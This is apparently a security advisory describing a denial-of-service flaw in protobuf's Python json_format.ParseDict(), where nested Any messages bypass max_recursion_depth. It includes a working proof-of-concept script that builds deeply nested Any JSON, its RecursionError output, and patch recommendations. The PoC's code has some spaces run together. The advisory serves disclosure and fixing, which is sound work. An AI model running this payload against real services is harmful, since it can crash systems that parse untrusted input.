Any JSON recursion depth bypass in Python json_format.ParseDict
1. Summary
A denial-of-service (DoS) vulnerability exists in google.protobuf.json_format.ParseDict() in Python, where the max_recursion_depth limit can be bypassed when parsing nested google.protobuf.Any messages.
Due to missing recursion depth accounting inside the internal Any-handling logic, an attacker can supply deeply nested Any structures that bypass the intended recursion limit, eventually exhausting Python’s recursion stack and causing a RecursionError.
2. Description
json_format.ParseDict() enforces a recursion depth limit via the max_recursion_depth parameter.
This limit is implemented by incrementing and checking a recursion depth counter inside ConvertMessage().
However, when parsing google.protobuf.Any, the internal helper _ConvertAnyMessage() processes the embedded message without incrementing or decrementing the recursion depth counter. As a result, nesting Any messages inside other Any messages allows unbounded recursion while bypassing the configured depth limit.
If sufficient nesting is provided, Python’s own recursion limit is exceeded, resulting in a RecursionError instead of the expected ParseError.
2.1 Expected Behavior
json_format.ParseDict()is calledConvertMessage()incrementsrecursion_depth- If
recursion_depth > max_recursion_depth, aParseErroris raised - Parsing terminates safely
2.2 Actual Behavior / Root Cause
_ConvertAnyMessage()parses the embedded message without updatingrecursion_depth- Nested
Anymessages therefore do not contribute to the depth counter - Repeated
Anynesting bypassesmax_recursion_depth - Parsing continues until Python’s recursion limit is exceeded
3. Proof of Concept (PoC)
Reproduction Code
#!/usr/bin/env python3
from google.protobufimport json_format
from google.protobuf.any_pb2importAny
defmake_nested_any(depth: int):
# Build JSON for an Any message that recursively contains another Any
root = {"@type":"type.googleapis.com/google.protobuf.Any","value": {}}
cur = root
for _inrange(depth -1):
nxt = {"@type":"type.googleapis.com/google.protobuf.Any","value": {}}
cur["value"] = nxt
cur = nxt
return root
defmain():
depth =150000
max_depth =5
msg =Any()
data = make_nested_any(depth)
json_format.ParseDict(data, msg, max_recursion_depth=max_depth)
print(
f"Parsed Any depth={depth} with max_recursion_depth={max_depth} (bypass)."
)
if __name__ =="__main__":
main()
Execution
python3 poc/python_any_depth_poc.py
Result
Traceback (most recentcalllast):
...
RecursionError: maximum recursion depth exceeded
Despite max_recursion_depth=5, parsing does not raise a ParseError.
Instead, deep nesting of Any messages bypasses the recursion limit and causes Python’s recursion stack to overflow.
4. Impact
- Services that parse untrusted JSON input containing
Anymay be vulnerable to denial of service - Attackers can bypass the intended recursion limit using nested
Anymessages - Deep nesting leads to
RecursionError, causing request failure - If the exception is not properly handled, this may crash the process or disrupt service availability
5. Patch Recommendation
One of the following mitigations is recommended:
- Increment and decrement
recursion_depthwhen entering and exiting_ConvertAnyMessage() - Alternatively, route parsing of embedded
Anymessages through the standardConvertMessage()path - Ensure that
max_recursion_depthis consistently enforced for all message types, including nestedAny